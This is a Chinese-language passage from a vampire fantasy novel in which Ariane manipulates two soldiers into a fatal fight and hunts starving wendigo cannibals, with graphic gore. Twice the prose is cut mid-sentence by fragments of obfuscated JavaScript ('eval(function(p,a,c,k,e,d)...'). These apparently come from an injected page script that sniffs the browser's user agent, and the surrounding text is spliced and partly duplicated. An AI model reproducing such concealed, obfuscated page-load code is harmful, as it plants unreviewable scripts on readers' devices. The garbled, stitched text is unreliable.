“你很有天赋，暗夜行者，但你没抓住重点。你太冷酷无情，太注重结果了。魅惑是一门艺术，应该为了享受而为之。啊，我们这个种族在漫长的岁月里创造了多少杰作啊，那些持续了几千年的游戏，赢家往往是那些我们从未怀疑过参与其中的人！回想起来多么令人愉快啊！啊，不过我跑题了。我相信，假以时日，你会明白的。年轻人总是急于获得眼前的回报，而不是追求完美成熟的果实。没关系。现在我来教你如何强行营造一种情绪，然后我们再学习记忆修改和突破防御。这些都是基础。” 我们花了一个小时互相练习。西尼德就像一个拿着勺子战斗的天才剑客。他的大部分能力都受到了限制，但他的技艺依然无可否认。他的见解极其敏锐，我感觉自己进步得飞快。我觉得他现在就是这个星球上最好的魅惑术老师，我对他的好感也大大提升。直到我们看到了已故的亨德里克斯提到的那座废弃农场，才停了下来。 “很好。现在让我看看你如何把这些知识运用到下一个目标身上。” 我们四个人悄悄地穿过农场杂草丛生的边缘。我凭借追踪新鲜汗水和劣质古龙水的气味在前面带路，西尼德则施展了一道只有我们能看见的光。 不出所料，我们看到拉内斯（Lannes）上尉和他傲慢的下属在一棵大松树的月影下紧张地抽着烟。我能闻到他们焦虑的气息，还夹杂着一丝恐慌。他们就像熟透的果实，正合我意。 “有人想要他们吗？”我低声问道。 “我觉得你需要拿他们练练手，女主人，学以致用最容易记住。” “我同意这个凡人的说法。” “我想看你大展身手，姑娘，可要有趣点哦。” 我悄悄地绕到他们身后。他们在远处拴着马，更有趣的是，地上还有几支未点燃的火把。 “我不喜欢这样，他们太久没回来了！” “闭嘴，詹金斯（Jenkins）。” 啊哈！我还不知道另一个蠢货叫什么名字呢。他们背对着我，所以我很轻易地偷走了一支火把和一根火柴。我试了好几次才把火柴点燃，当燃烧硫磺的声音传进他们耳朵里时，他们转过身，正好看到火焰照亮了我苍白的脸。 两个人都僵住了，手放在手枪上，而我则亲切地微笑着。 我太喜欢这一刻了，当他们意识到狩猎的性质并非他们所想，意识到自己不再是捕食者的时候。我的獠牙还藏着，爪子也收着，但他们心里明白。在内心深处，他们清楚这一切。 “怎么这么冷淡啊，先生们？你们不是在等我吗？” 我一边说着，一边慢慢地走到一旁。我体内的捕食本能教会了我更好的走路方式，而且现在我越来越容易展现出这种技能了。我的步伐稳健而又无声。在公共场合我还是像普通人一样走路，但在这里我就不用了。我知道自己给人的感觉，更加灵活，充满掠夺性，致命危险。 他们本能地往后退了一步。拉内斯察觉到有些不对劲，他犹豫了。我能听到他惊慌失措的大脑在飞速运转： “我们被发现了，雇佣兵也被打败了，但这个女人为什么会在这儿？为什么拿枪指着我的不是洛斯？” “我为什么这么害怕？” 我知道答案。他们敏锐的直觉告诉他们事情不对劲，而他们的社会认知却告诉他们我没有威胁。 “怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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什么！？哦，天哪，这又是宾格尔（Bingle）的错！可恶！ “……谁？” “弗洛拉·谢弗！你那个英国无赖跟踪的女人是普鲁士的间谍，你那个所谓的冒险家肯定知道这件事。不然他为什么一路追到这个该死的破地方？” “当然是因为爱情，你“当然是因为爱情，你这个怪物。他疯狂地爱着她！” 甚至不用我刻意引导，詹金斯的不安就已经转化为怀疑。很少有人会把“宾格尔”和“情报”，不管是本国的还是外国的，联系在一起。 “你这种说法可真奇怪，上尉。你这些秘密行动，可不像是得到政府授权的人会做的！我倒想问问，这些指控从何而来？我猜肯定不是我们自己的间谍提供的消息！” “你！我没必要在你这个来历不明的声名狼藉的女人面前为自己辩解！” 现在，愤怒也出现了，这是为这幅“画作”添上的最后一种原始情绪。只需要轻轻一推，就能让事情一发不可收拾。 “事实上……”詹金斯说道，“我很想知道你这种想法是从哪儿来的，长官。” “你竟敢！”拉内斯怒火中烧，“我不会被你这种人质问！” 哦，这简直太容易了。 “我这种人！？”詹金斯愤怒地尖叫道。 “你太天真了，詹金斯！像我这样的人，是我们国家与暴政之间的屏障。我们是文明的盾牌，抵御着旧世界及其黑暗势力的阴谋诡计！” “所以你承认自己参与了一场阴谋！”我欣喜地补充道。 “这不是阴谋！我们是在保护国家！” “在暗中行事，还违背我们的意愿！这就是阴谋！哈！现在谁才是叛徒？” “新光兄弟会可不是一群无赖，你这个□□！还有你……” 拉内斯往后退了一步，远离他的下属，手枪也转向了詹金斯的胸口，但义愤填膺的詹金斯已经受够了。他扑上去，抓住了对方的手臂。两人摔倒在地，一边怒吼，一边挣扎。 我饶有兴致地看着这一切。不得不承认，在我还没来得及了解更多情况之前，事情就已经失控了，但我不在乎。这……太美妙了。 一声枪响在树冠下响起，伴随着皮肉被撕裂的声音。 啊，糟糕？ 詹金斯惊恐地从他上司血肉模糊的身体旁退开。在死寂中，只能听到伤者从破碎的半张脸上发出的咯咯惨叫声。鼻窦和其他腔体都暴露在外，一只眼睛已经从眼眶中被打爆，我眼睁睁地看着，随着每一次心跳，动脉血从那可怕的伤口中喷涌而出。 啊，真是太可惜了。 我向前一步，走到詹金斯身边，用他的手枪干净利落地结束了上尉的生命，这是狩猎的要求。 现在，我要对付一个啜泣着、满心愧疚的人。真是烦人。他想杀你，没成功，然后你杀了他。逻辑很清晰。你们甚至都不是朋友！ “詹金斯……一切都结束了，冷静点。” “结束了，全完了！我杀人了！” “不。詹金斯，看着我。对，就这样。你是在自卫，对方还是你曾经信任的人。” “哈，”他抽泣着，“在法庭上这有什么用！” “不会有法庭的。” “什么？但是……我杀了他。” “不，是我杀的。是我开的枪。” 詹金斯停下来思考。我趁机利用这一点，再加上一点暗示，跟他说起阴谋、职责，说拉内斯的同伙绝不能知道他们的计划已经败露，还说了一些关于牺牲、国家利益之类的废话。 “你说得对，德莱尼小姐，我必须揭露这个邪恶的阴谋！我会回去，秘密展开调查，先从这个叛徒的私人信件入手。但是……尸体怎么办？” “我来这里是为了寻找答案，我的同伴们就在不远处。雇佣兵的伏击让他们很生气，我相信你能理解。如果你现在赶紧离开，我应该能说服他们放你走，并且处理好尸体。” “但我该怎么跟其他人说呢？” “什么都别说。你对这个人的叛逃一无所知。我相信仔细检查他的私人物品会让事情真相大白。” “好……好的，你说得对。谢谢你，德莱尼小姐，太感谢你了！我会回去的，如果有什么发现，我会让你和你叔叔知道。我一定会把这件事查个水落石出！再见，德莱尼小姐！塞西莉说得没错，你真是个女英雄。” 然后，这个勇敢的士兵骑上他的马，疾驰而去。 女英雄，哈，至少这次他没提到上帝。 随着马蹄声在远处渐渐消失，我听到了一阵缓慢的掌声。那三个人从灌木丛中走了出来，西尼德面带笑容地走在最前面。 “精彩的表演，年轻的阿丽亚娜（Ariane）。啊，看到一颗新星崭露头角真是令人愉快。一晚之内就演绎了《假途之计》和《友叛之变》！这可是老阿拉库斯（Arakus）在他著名的文集中提到的五个基本情节中的两个。你只要再经历《单恋之殇》《兄弟阋墙》和《学徒成长》，就完成了我们利卡恩人（Likaeans）一项重要的成长仪式。我非常满意，非常满意！” 我不知道该做些什么，只能笨拙地行了个屈膝礼。我想这是西尼德第一次没有叫我“暗夜行者”。我就接受这份夸赞吧。 “今晚我们一起赶路，这样我还能再传授你一些知识，之后我们就分道扬镳。我相信，命运会让我们在未来再次相遇！” 在离开之前，我们抽签决定谁来埋葬尸体，我输了。看着其他人那无辜的表情，我严重怀疑他们使了诈，但我决定不再追究。毕竟这具尸体是我造成的。在我挖坑掩埋尸体，以及之后赶路的过程中，我尽可能地汲取西尼德的知识，直到黎明来临，我也疲惫不堪。 31. 猎与噬 先是一股腐臭气味扑鼻而来，紧接着是苍蝇嗡嗡的叫声，最后映入眼帘的，是一条干瘪的肢体，上面松松垮垮地挂着几块破布。那些临时充当裹尸布的布料颜色鲜艳，却把一具具尸体衬得像阴森的木偶。 我漫不经心地留意到，这具尸体属于一个孩子。在伤病员之后，他们往往是第二批离世的。 “又一个？” “是啊。” 我们追寻失踪的三河部落的踪迹已有两天了，我的耐心正逐渐耗尽。纳肖巴坚持要我们一起追上他们，不然，那个向他求助的萨满可能会出于恐惧直接攻击我。我担心等我们赶到时，已经没人能接受询问了。 这个属于马斯卡吉族的分支，一个月前被定居者逐出了他们的土地，从那以后，他们便一路向西流浪。我那个，嗯，我想可以说是我的 “雇主”，他得到了一个神示，说是有一只可怕的野兽在追踪三河部落的人，还会吞噬他们。但现在我觉得，这恐怕不是他们最该担心的事。在一天的行程中，我们就遇到了不下十具尸体，他们都有饥饿致死的迹象。那些尸体瘦得皮包骨头，被饥饿的痛苦折磨得蜷缩成一团。我一点都不羡慕他们的命运。 “我们…… 我们真的应该……” “我再说最后一次，萨满，这些事我们可以在回去的路上做。我们耽搁得越久，死的人就会越多。” “他还只是个孩子。” “没错，没错，我相信那些成年人也想活下去。听着，纳肖巴，我们的约定是我帮你猎杀怪物，而不是来挖万人坑的。” “啊，当然。你说得对，是我感情用事，影响了我们的任务。也许还有人活着。” 我真想翻个白眼，但还是忍住了。纳肖巴只是个凡人，而且至少他没把神灵扯进来，也没滔滔不绝地跟我讲悲伤有多重要之类的废话。我能理解他的痛苦，虽然我自己并没有这种感受。 “小姐，我们应该在这儿停下马车，骑马继续前进。” “你的图什卡说得对。路太窄了。” 纳肖巴显然是在一次梦境探索中学会了这门语言。他能说一口流利的阿卡德语，可英语却磕磕绊绊，这种反差实在是有些突兀。 “那你去牵马。” “空气中有股异样的气息，荆棘之女。我们快到了，但可能已经晚了。” 我嗅了嗅，除了松树、山间的空气，还有腐尸的恶臭，什么也没闻到。达尔顿注意到我在闻，便补充道： “天气很冷，小姐，冷得反常。” “我们在阿巴拉契亚山脉半山腰，这不是很正常吗？” “不，小姐。” 我早就发现这个地方太安静了。显然有魔法在作祟，时间紧迫。 “那你去牵马，把火把点上。我先去前面探路，给你们指引方向。动作快点。” 我们沿着蜿蜒的小路攀爬了一个小时。瘦弱的松树、干枯的植被，还有时不时出现的尸体，让这个地方显得格外荒凉，旅途也十分不愉快。我所有的直觉都告诉我，这里透着一股不寻常的气息。这里没有魔法咒语的痕迹，附近也没有什么生物。但那种影响却无处不在，就像一股陈旧的油脂味，在我的舌尖留下油腻的味道。 尽管同伴们疲惫不堪，我们还是前进得很快。终于，当我们到达一个小高地时，道路变得开阔起来。大片长满青苔的花岗岩巨石，与病态的蕨类植物交替出现。在高地中央，可以看到一个大营地的遗迹。那里有一堆火，还冒着些许青烟，此外还有破损的帐篷、陶器、篮子，以及一架破碎的织布机。 奇怪的是，这里没有尸体。 其他人都赶了过来，我抬手示意他们保持警惕。 这个高地底部相当小，最多能容纳大概一百人的营地。这片石地向左逐渐升高，而右边则是陡峭的悬崖。为数不多的几棵树，根本无法抵御凛冽的寒风。 纳肖巴骑在他的母马上，达尔顿则拿起武器，消失在黑暗中。我通过声音追踪他的行踪，直到他停下不动，这意味着他找到了一个有利的观察点。 我转身面向纳肖巴，指了指自己的鼻子，又指了指左边。我顺着那股未洗净的身体和腐臭汗水的气味，来到岩石表面的一个凹陷处。我俯身朝里望去。 光线照在十几个人的眼睛上，他们挤在脏兮兮的毯子下面。一堆快要熄灭的火，几乎散发不出什么热量。那股味道熏得人眼睛刺痛。 在这股令人作呕的气味之下，我察觉到一股变质的魔力。它和纳肖巴的魔力有些相似，但回味却异常酸涩，让我想起一周前我杀死的那个堕落吸血鬼。看来，我们找到那个萨满了。至于他是否还神志清醒，就不好说了。 纳肖巴走近那个凹陷处，却立刻厌恶地退缩了回去。或许我应该提前提醒他这里那令人作呕的气味。不过，无论是天性使然，还是因为我不用呼吸，我对这种气味的反应都比凡人小得多。 纳肖巴用围巾捂住口鼻，开始和这群悲惨的人交谈。一开始，他的询问只换来沉默，接着，一个坐在人群后面、戴着骨制头饰的干瘪老妇人开口回答了他。她那粗糙的手指紧握着一根装饰着乌鸦头骨的法杖，声音低沉沙哑。 即便听不懂她的话，我也能感受到她讲述中的痛苦和恐惧。剩下的部落成员在我的注视下纷纷退缩，不敢抬头。他们就像已经对一切都绝望了的人。他们确实很可怜，我还注意到，这里已经没有孩子了。 这个部落完了。经历了这些磨难，很少有人还能保持理智。他们想要活下去，最好的办法就是分散加入其他群体，祈求他们的神灵，让他们忘掉这段可怕的经历。 不过，我并不在乎这些。 我耐心地等待着同伴结束交谈，心里想着那个女萨满会说乔克托语真是幸运。当大多数白人都把原住民当作野蛮人时，很容易就会忽略他们其实是由不同的群体组成，有着各自的文化和方言。成为吸血鬼之后，我对这件事的看法确实有了很大的改变。 几分钟后，纳肖巴一言不发地走到空地中央，用引火物和几块干布重新生起了火。 “请原谅，荆棘之女。你能帮我收集些木柴吗？这是我求你的事。” 他没权利要求我做这些，而他这种特别的措辞，也表明他明白这一点。话虽如此，纳肖巴是少数我尊重的凡人之一。而且他又累又跛。 “好吧。” 对于我欣赏的人，我还是能表现出善意的。从他痛苦的表情中，我也能猜到，情况不太妙，他可能需要一些时间来消化这些信息。毕竟，我们已经找到了部落的幸存者，也得到了我们想要的消息。再多耽搁一会儿也无妨。 我四处收集木柴，有些时候，还直接把那些枯瘦的树干折断来当柴。我发现折断这些树干出奇地容易，我想我以后都用不着斧头了。往返了三次后，纳肖巴告诉我，木柴已经够多了。他在火上架起一口大锅，用他水壶里的水把锅装满。 “如果你想救他们，我们不应该把口粮给他们吗？” “不能直接给。那些饿太久的人肠胃很脆弱，吃固体食物可能会要了他们的命。他们的身体只能承受肉汤。” “我明白了。在等待的时候，你应该跟我说说你了解到的情况。” “当然，荆棘之女。我已经耽搁太久了。他们离开家园时带的食物很少，很快就吃光了。他们尽力去觅食，但因为不熟悉这片土地，要养活七十个人谈何容易。就在他们陷入极度困境的时候，那只野兽出现了。它就像一群食腐鸟围着受伤的野兽一样，不断骚扰他们。一个又一个猎人开始失踪。当然，部落后来开始让人们两两结伴，甚至组成更大的队伍外出。但这一切都是徒劳。那只野兽还是不断地袭击，食物的情况也越来越糟。先是最虚弱的成员死去，接着孩子们也开始夭折。绝望笼罩着他们。女人们也不得不出去打猎，有些人回来时还受了伤。还有一些人选择了自杀。幸存者们决定逃到山上，希望那只野兽能放弃追捕，或者至少他们能在山上与它对抗。他们生起了这堆你现在看到的火，然后等待着。 他们说那只野兽来了。他们说它比最高大的人还要高，身上穿着拼凑起来的兽皮。它的脸像被劈开的岩石，牙齿像狼的犬齿一样锋利，而且全部都是。他们还说，箭和长矛打在它身上就像玩具一样被弹开，它每挥动一次有力的手臂，就能杀死一个人。他们觉得自己根本无法阻止它，就像无法阻止冬天到来一样。在它杀死了足够多的人之后，剩下的人往更高的地方逃去，而这一小群人则躲在这里，希望它能忽略他们，或者至少这个山洞对它庞大的身躯来说太小，它进不来。那是昨天发生的事。” “这么说，那只野兽还在山上？” “是的，如果还有幸存者的话，他们也在山上。” “那我得赶紧出发了。你能守护好你的火堆吗？” “能，我马上就布置防护。” “这足够了吗？看起来那个萨满没能阻止它。” “她年纪大了，又饿了很久，而且她的部落失去了土地，也失去了希望。她的力量已经非常微弱，几乎可以忽略不计。我应该能暂时挡住那只怪物，等你回来。要是我遇到危险，我就朝天开你借给我的那把手枪。” “希望这对你来说足够了。” 在离开之前，我悄悄来到达尔顿的藏身之处，发现他用掉落的树枝把自己藏了起来。在黑暗中，又被绿植遮挡着，他几乎看不见。我叮嘱他不到万不得已不要轻举妄动，然后就沿着山路向上追踪。 没有了凡人同行，我行动起来快多了。一番探查后，我没有发现任何踪迹，看来这只怪物很可能有办法隐藏自己的行踪。这也能解释为什么没有猎人能从它手下逃脱。我没有被这点困难吓倒，尽可能迅速地沿着陡峭的山坡向上冲，同时也时刻保持警惕，不让自己露出破绽。两分钟后，我发现了第一具尸体。 那是一个老人。不出所料，他身上布满了咬痕，从咬痕来看，咬他的那张嘴比人的嘴大好几倍。那只野兽吃掉了他腿部、手臂、后背的肌肉，还有大部分内脏。我正准备离开时，却发现了一些奇怪的地方。他身上没有防御伤，当我用靴子把他的头往旁边推时，原因就很明显了。在被吃掉之前，他是被钝器击中头部致死的。我越发觉得这只怪物很可能会隐藏行踪，这种想法让我开始有些多疑，我的所有感官都变得异常敏锐。我甚至还在这个猎人的手中发现了兔子的毛，这说明这只野兽把能吃的都吃了，一点都没留下。 没走多远，我又发现了一对母子，他们还牵着手。他们也是同样的死法。 我继续快速前进，刻意不走直线，还不时地回头查看。我没有发现任何异常，只看到一些被遗弃的个人物品，还有杂乱的脚印。又过了几分钟，我看到远处有火光闪烁。 夜晚一片寂静。 我从侧面悄悄靠近。在树林中，有部落最后一次生火留下的痕迹。这里什么都没剩下，连一具尸体都没有，但陈旧的血腥味却很浓烈。我绕着这个地方转了一圈，也没看到继续往上的脚印。没有尸体这点让我有些担心。什么样的野兽能做到这样？ 我小心翼翼地向前走去。这个地方异常的安静，让我心里直发毛。除了冰冷的寒风，没有任何动静，甚至连覆盖着一切、像脏雪一样的灰色灰烬都纹丝不动。 地上有大片的血迹，这些血迹还很新鲜，应该是几个小时前留下的。我正准备再绕一圈，看看能不能找到脚印或者其他线索时，在灰烬中发现了什么东西。出于好奇，我走上前去。 突然，我身后传来树枝折断的声音。 我向前一滚，同时挥刀向后砍去，却只砍到了空气。什么都看不到，这意味着…… 我转过身，爪子伸了出来，做好了战斗准备。 还是什么都没有。 我绕着周围查看，依然什么都没有发现。只有松林中传来兔子轻轻的呼吸声。 我感觉自己像是在疑神疑鬼。但我还是在这片空地上小心翼翼地移动着，这样如果有什么东西突然冲出来，我还有时间做出反应。 这个对手很棘手，它不仅能隐藏身形，而且可能非常强壮，还很有韧性。我的匕首应该足以伤到它，我对自己的速度也很有信心，不过要是我被打个措手不及，匕首也起不了什么作用。 尘土上的脚印显示这里发生过一场激烈的打斗。有这么多人类的脚印，那在篝火附近的这个是什么东西？ 骨头。 人骨。 成百根骨头被打碎，骨髓也被吸干了，就好像…… 就好像…… 嗯，这很奇怪，也不合常理。 等等。 不，不可能是那样。 然而…… 猎人们一个接一个地失踪，都是在毫无防备的情况下。 除了人类的脚印，没有其他任何踪迹。 剩下的部落成员都在同一个地方被屠杀，而不是四散逃离这个强大的敌人。 被煮熟的人骨…… 我得确认一下。 我跳进灌木丛中，寻找一组非常特别的脚印，最后终于找到了。有好几个人下山的脚印。现在我知道该找什么了，很容易就发现了这些痕迹。 该死的！我居然被耍了！啊！ 我像被地狱里的恶犬追赶一样，拼命往山下跑。快点，快点，再快点。希望我还来得及。希望我还来得及…… 一声枪响。那不是手枪的声音，是达尔顿的步枪。 我跑得更快了。我的胸膛几乎贴到了地面，风把我的头发往后吹起。 每跑一步，我就在肥沃的土壤上留下一道沟壑，向前飞跃十步。更快，更快！ 我一定能及时赶到。 我到了。瞬间，我看到纳肖巴站在一个魔法阵中间，他的手枪被扔在一块石头上。他被一群食人族包围着，这些人无声地屠杀并吃掉了自己的族人，在这个过程中，他们似乎已经丧失了人性。 他们瘦骨嶙峋，皮肤惨白，扔掉毯子后，他们的身形暴露无遗。他们身上仅存的一点肉扭曲紧绷着，像钢缆一样。他们的脸从嘴唇以上还是人的模样，但往下就变得狰狞恐怖。他们对着我同伴设下的魔法屏障张开嘴，露出参差不齐、泛黄的牙齿。 有五个人正压在闪烁的魔法阵边缘。三河部落的萨满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它臭得像个满是瘟疫的猪圈。纳肖巴默默地瞪了我一眼。我想我不该像个被宠坏的孩子一样。我确实能从它身上获得力量。 我抓住那怪物的手臂。它试图反抗我，但和几天前我面对的那个堕落吸血鬼相比，我感觉自己就像在和一个蹒跚学步的孩子搏斗。为了保险起见，我还是折断了它所有的手指。何必冒险呢？ 我咬了下去。 我太饿了，饥饿带来的痛苦在我的肚子里翻搅，像锯齿一样的手指在我的内脏间乱戳。那种饥饿的痛苦无休无止，我只沉浸在这难以忍受的折磨中。“是我把他们引到了这里，让他们走向死亡。我们本应该像勇士一样，站着战斗至死，而不是像牲口一样被追捕、被饿死。那些孩子们…… 我都做了些什么？我送去的神示太晚了。等乔克托族的龟甲萨满赶到时，三河部落就什么都不剩了。” 今天我吃掉了自己的手指，扯下那根手指的疼痛，都比不上饥饿带来的痛苦。那手指热乎乎、湿漉漉的，虽然骨头太多，但让我再次想起了食物的滋味。我感觉自己的理智在渐渐消散。还有其他人，和我一样品尝了那禁忌的人肉。我能感觉到他们彼此之间、以及看向我的目光。我不想要理智了，理智最初才把我带到了这般田地。就让我疯掉吧，就让我迷失吧，但最重要的是，让我填饱肚子。 我们都沉默不语，无需交谈，就像之前无需倾听族人临死前的惨叫一样。尽管我们吞下了一堆又一堆的人肉，却还是饥饿难耐。没关系，明天我们就下山。总会有更多的村庄，更多的狩猎队伍，永远都有。 我松开那个已经干瘪的猎物，虽说这体验有些怪异，但也并非全然糟糕。它的味道就像腌鱼，又酸又有滋味，而且从它身上获得的力量还不错，我觉得和一个经验丰富的法师提供的能量差不多。 我猜纳肖巴对我吸食这怪物力量时看到的景象感兴趣，所以等达尔顿过来后，我就跟他们讲了。 “是的，荆棘之女。我知道你说的是什么。他们被称为温迪戈。我听过一个伟大猎人的故事，他叫安韦·弑魔者，是第一个发现温迪戈并将它们从这个世界清除的人。我从没想过这些故事是真的……” 纳肖巴一瘸一拐地走到一块石头旁，疲惫地坐下。我得记住，他们已经奔波了一整天，现在都过了午夜，他们很快就得休息了。 “他们是‘饥饿’的具现，”他接着说道，“当人们被饥饿吞噬，就会变成这样。传说里那些温迪戈，原本是些懒惰的猎人，他们还会霸占受害者的妻子。但这次的情况不同，三河部落是被赶走才陷入绝境的。他们走向毁灭，是因为在绝望中选择了逃亡。” 这位萨满陷入了沉思，我能理解他。达尔顿用围巾捂住鼻子，忙着把那些温迪戈的尸体堆起来，我则往火里添柴，静静等待。 “以后这样的情况会越来越多。每个月，你们的船都会把大批的人和机器运到这片海岸。我们正一步步被赶往西边。” “你们会反抗吗？” 他嗤笑一声。 “有些人会的。至少，他们会死得有尊严。但我们没办法对抗你们那些枪炮钢铁，除非我们也有自己的武器。我们需要学校、矿山、工厂和兵工厂才能与之抗衡，可等我们有了这些，我们也就变得和你们一样了。这是一股无法阻挡的潮流。” 这种无力感，我再熟悉不过了。 “我们今天还是有所成就的。” “不过是沧海一粟罢了。我们救下的这些人，说不定哪天也会变成我们刚刚消灭的那种怪物。” 我真希望自己此刻喝醉了，这样就能陪着他一起感慨命运了。 “你太把自己当回事了，乔克托族的萨满。我们自己也不过是沧海一粟。你不是说过，我们是在铲除毁灭的根源吗？今晚我们就是这么做的。别总盯着那些你无法改变的事情绝望，那除了让人陷入疯狂，没有任何用处。” “站在这七十个男女老少的骨灰前，我实在没法认同你的观点，请原谅。” 我耸耸肩。我没法体会他的感受，也不想去体会，但我能尊重他的悲痛，给他所需的时间。毕竟，这场猎杀已经结束了。虽然猎物是他们同类中的耻辱，但这趟经历倒也有趣。 我帮着达尔顿搭建火葬柴堆，好在材料很容易找。我们的原住民同伴也过来帮忙，一起点燃了柴堆。 一时间，万籁俱寂，接着他开始唱起歌来。 我听不懂歌词，也无需听懂。那歌声起初满是悔恨和无力的愤怒，接着转为忧伤，最后带着一丝平静。我们静静地站在那里，看着温暖的风将点点火光送上天空。此时，寒意似乎也没那么刺骨了。在我们下方的某个地方，一只猫头鹰在啼叫，火焰噼里啪啦地燃烧着。 不知何时，那两个人睡着了。我确认他们盖好了毯子，在黎明即将到来的时候，我起身准备离开。我刚迈出一步，纳肖巴在毯子里动了动。 “谢谢你，阿丽亚娜。” 我点点头，然后离开了。 32. 财团疑云 当我们回到希金斯维尔时，西尼德早已离去。洛斯没有告诉我他去了哪里，我也没有问。这位利卡伊安王子倒是给我留下了几样东西，首先是一封信。 我亲爱的阿丽亚娜： 作为一名暗夜行者，你这人还不错。我相信，在你成长为全新的自己后，我们定会再次相见。我很期待那一天，并且我给你留下了两样东西，以表感激之情。 第一件是一本关于正确使用魅惑术的入门指南，里面包含不少技巧、冥想方法，还有我最喜欢的精妙之处。我像是着了魔一般，只用了两天就写完了！等我们下次见面时，来一场小小的比试，看看你都学到了些什么。 第二件既是礼物，也是某种歉意的表达。我意识到，你或许没能如自己所愿饮下我的血，所以我让洛斯取了一点儿我的精髓，装在你会看到的那个珍贵容器里。时刻带在身边。倘若有一天你生命垂危，无论伤势多么严重，喝下它，肯定能救你一命。这可是一位仙族王子自愿赠予的精髓，别浪费了！要是你浪费，我可会知道的！ 期待再次相见，小可爱。 西尼德 我下定决心，要一直把那个银色小管子挂在脖子上。它就挨着装有父亲留言的吊坠，这两件东西是我的生命线，一个守护身体，一个滋养灵魂 。 在接下来的几个月里，我们逐渐形成了健康规律的生活。大多数夜晚，我都会帮洛斯处理各种研究事务，涵盖魔法、世俗事务以及冶金学领域。当他所在的医院病人增多时，我还会去帮忙做护理工作。我从不感到恶心，这一点可派上了大用场，因为我这位好朋友总说，有些让我做的活儿 “能锻炼性格”。很快我就明白了，这句话不过是 “这活儿太恶心，既然我现在有了个手下，就不用自己干了” 的虚伪说辞。 洛斯还会测试我的体力极限，当然，方法就是让我帮他搬运重物。他最后得出结论，说我 “像怀着孕的食人魔一样强壮，而且还稍微好看点儿”。 真不知道他那张嘴是怎么哄得全县的寡妇都爬上他的床的。 剩下的夜晚，我会参加各种活动。我继续学习西方标准符文体系，还研究了几种萨满教形式。尽管希梅纳建议我尝试音乐，但我还是选择了绘画作为爱好。七岁时那次灾难性的小提琴练习经历，至今仍让我心有余悸。我通过在树林里拼命奔跑、和洛斯练习飞刀与射击，来提升自己的移动技巧。 道尔顿轻松适应了他的新职责。他有一种本事，在不想引人注意的时候，能让人觉得他毫不起眼，这使他在任何地方都能融入其中；而当他想要引起关注时，他那神秘的魅力又足以吸引众人目光。他很快就赢得了我们小镇男女老少的喜爱。唯一的问题是，围绕着我们的流言蜚语不少，不过我倒不太在意。 有了他，赏金猎人的工作变得轻松又有趣。我再也不用因不被认可而束手束脚，只需负责有趣的部分，其余的都由我的附庸尽职处理。很多时候，我们会默契配合，用有趣的方式抓住目标。这很快就让他有了一种复杂的名声，同时也赢得了不少尊重。我也借此机会练习感知和魅惑能力。 我们就这样过了一段时间，直到我收到了亲爱的希梅纳的来信。 我最亲爱的阿丽亚娜： 得知你最近的冒险经历，我的心情无比复杂！心脏被刺穿？还遇上了一个失控的吸血鬼？自从帮你逃脱那次之后，我就没这么焦虑过。年轻人，多为我这颗脆弱的心脏想想吧，也多爱惜一下你自己！初拥不久的吸血鬼不该遭受这样的重创，尤其是在短短一年里两次！说真的，要不是你出身于吞噬者家族，我都担心我们已经失去你了。 在这之前，有些事我早该在之前的信里告诉你，要是我早想到你会去挑战那些受过战斗训练的朝臣的话。这些事与我们同类之间的武装冲突有关。 与吸血鬼战斗的方式和对付其他生物截然不同。很少有生物能与我们的速度匹敌，所以在与其他种族的战斗中，被杀死的吸血鬼往往是遭受了重创才倒下的。相反，吸血鬼在战斗时，首要目标就是对方的心脏。哪怕只是受了点小伤，都可能是致命的。 下次见面时，我会教你一些武术技巧来保护自己。在此之前，别去练习凡人的方法，不然会养成坏习惯。我们的行动和战斗方式与人类不同，所以他们的技艺不适合我们。要是你能不带先入之见来找我，学起来会更容易。 不过，也有一些提升自己的方法。其中一种你已经知道了，你提到的那些月下漫步有助于你熟悉自己的身体，提高自然敏捷度。在行动时，跟着直觉走。我还强烈建议你在战斗时，给 torso 穿上一套盔甲。我在信封里附上了标准哈考特护胸甲的设计图，相信你的朋友能帮你打造出来。 需要再次强调的是，如果你能喝下强大敌人的鲜血，你的血脉就能快速进化，使你的天生能力与经验丰富的朝臣不相上下。但这并不能让你拥有他们的实战经验。你之前遇到的那个生物手无寸铁，还半疯半癫，和你真正可能面对的敌人完全不是一个级别，要是某个家族决定要对付你，那你遇到的对手可就不一样了。要是被发现了，我求求你，赶紧跑。只要你离开他们的领地，对方很可能就会放弃追捕，只是向波士顿的骑士分会报告你的出现。希望你能记住我的警告。 现在这些都说完了，容我第一个向你祝贺，祝贺你成年！啊，我还记得那一天，就好像是昨天一样，一个羞涩迷茫的女子，局促地站在我的训练场里！即便那时，你的个性就十分突出，与众不同。如今，你已经成长起来了！我满心骄傲，真希望能和你一起庆祝这个吉祥的日子。 现在你已经是一名朝臣了，别让任何人否定这一点。这意味着我们计划的下一步可以开始了！1810 年，也就是五年多以后，北美所有的吸血鬼将举行一场重要的秘密会议。我会借此机会向现任议长请愿，让你加入。如果申请被接受，我们就能根据《协定》，把你登记为一个独立家族的成员，这样你就再也不用受兰卡斯特家族的威胁了。康斯坦丁肯定会给你安排一两个任务，算是对你非法进入他领地的补偿，不过也别太担心。他以宽容著称，这片新大陆既是避难之地，也是充满机遇的地方。 得知你想利用这段时间积累专业知识和财富，我很高兴。追求卓越是 “道路追随者” 这个派系（加的斯家族就属于这个派系）的显著特质。作为一名新晋吸血鬼，我建议你学一门乐器。艺术能帮助我们保持人性，而音乐在这方面的作用尤为突出。 你还得考虑积累财富。你应该能想到，凡人的金融机构并不适合我们的需求，所以我建议你去港口城市萨凡纳，在那里你会找到罗森塔尔财团的一个小分支机构。他们在超自然世界中保持中立，既可靠又高效。去开个账户吧，要知道，我们都是从小做起的。 最后，我们基本确定，加百列教团不再监视你父亲了，所以你现在可以更自由地和他通信。 